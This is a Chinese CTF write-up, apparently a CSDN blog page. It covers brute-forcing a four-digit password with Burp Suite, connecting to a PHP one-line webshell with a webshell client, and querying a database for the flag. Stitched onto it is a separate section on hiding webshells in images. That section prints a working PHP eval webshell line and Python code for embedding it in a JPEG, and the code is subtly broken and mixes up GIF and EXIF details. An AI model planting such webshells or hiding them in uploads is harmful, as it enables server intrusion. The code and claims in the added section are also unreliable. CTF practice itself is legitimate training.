CTF-PHP一句话木马

破解CTF题目:从密码爆破到Flag获取
本文详细记录了一次CTF竞赛中破解四字密码的过程,利用Burp Suite进行密码爆破,并通过Grep-Extract模块定位正确密码。接着,使用菜刀工具连接一句话木马,成功获取数据库信息,最终编写查询语句获得Flag。

首先看一下题目

他是提示让你输入一个4位数的密码

 

使用burp进行密码爆破

 

我们使用burp来自动生成一个所有以4位数组成的密码

 

经过一段时间的爆破发现他的返回值都为192个字节,无法区别正确的密码。

 寻求大佬的求助得知,遇到这种情况时,在burp的intruder 选项中有个Grep-Extract 模块可以提取错误的返回包,从而得知正确的密码。

 现在就可以找到正确的密码了

 

 使用菜刀连接木马

因题意得知他是一个一句话木马题目,所以我们尝试使用菜刀连接该页面,密码为爆破出来的5276密码。

 连接成功

 接下来信息收集一下找到了他的数据库用户和密码

 使用数据库管理工具,配置数据库,连接到该数据库。

 在数据库中找到了ctf表  但是无法查看该表中数据。

 提取Flag

编写查询语句后成功得到flag (查询语句为:SELECT * FROM flag)

 

 

 

 

### CTF竞赛中将句话木马隐藏在图片中的技术细节 在CTF竞赛场景下,为了绕过检测并将句话木马植入目标服务器,可以采用将恶意代码嵌入看似无害的文件之中,比如图片。具体来说,种常见做法是利用PHP-GIF漏洞或相似机制,在不影响图像显示的前提下附加可执行脚本。 #### 利用EXIF元数据注入 可以通过修改图片文件内的EXIF信息部分来存储WebShell代码片段而不破坏其视觉呈现效果[^1]: ```php <?php @eval($_POST['cmd']); ?> ``` 此段落被巧妙地放置于GIF89a格式之后作为注释字段存在,当浏览器加载该资源时仅会解析图形而忽略后续字符;然而对于支持此类特性的应用层解释器而言,则能够识别并运行其中暗藏指令。 #### 使用Steganography隐写术 另种更为隐蔽的方式涉及到了信息隐藏领域——即steganographic techniques(隐写术),它允许秘密消息完全融入载体之内难以察觉。例如借助Python库`PIL`处理JPEG/PNG等位图结构内部冗余空间保存base64编码后的payload字符串[^2]: ```python from PIL import Image import base64 def encode_image_with_payload(image_path, payload): img = Image.open(image_path) encoded_img = image_path.replace('.jpg', '_encoded.jpg') with open(encoded_img, 'wb') as f: # Embed the Base64-encoded payload into EXIF comment field exif_data = { "Comment": b'<?php @assert(base64_decode("' + base64.b64encode(payload.encode()) + b'")); ?>' } img.save(f, format='JPEG', quality=95, optimize=True, progressive=True, **exif_data) # Example usage malicious_code = "<?php @eval($_POST['cmd']); ?>" encode_image_with_payload('benign_picture.jpg', malicious_code) ``` 上述方法均需注意实际操作环境的安全性和合法性验证,确保只用于授权测试范围内的渗透演练活动而非非法入侵行为。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值